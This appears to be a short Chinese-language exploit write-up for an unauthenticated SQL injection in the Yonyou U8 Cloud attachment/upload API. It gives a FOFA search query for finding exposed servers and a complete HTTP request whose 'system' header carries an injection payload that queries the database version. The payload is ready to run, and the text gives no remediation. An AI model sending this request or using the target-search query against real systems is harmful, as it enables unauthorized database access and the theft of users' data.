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Published on 2024-08-30 / 2 Visits
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Y3-33用友-U8-Cloud-SQL

Y3-33用友-U8-Cloud-SQL

漏洞描述:

用友U8 Cloud attachment/upload 接口处存在SQL注入漏洞,未授权的攻击者可通过此漏洞获取数据库权限,从而盗取用户数据,造成用户信息泄露。

网站图片:

image-20240623104417767

网络测绘:

fofa语法:

body=“/u8sl/Login.aspx” || body=“/api/uclient/public/”

漏洞复现:

payload:

GET /u8cloud/api/hr/attachment/upload?mssql_error HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
system: -1' or 1=@@version--+

效果图:
查询数据库版本
image-20240623105938601


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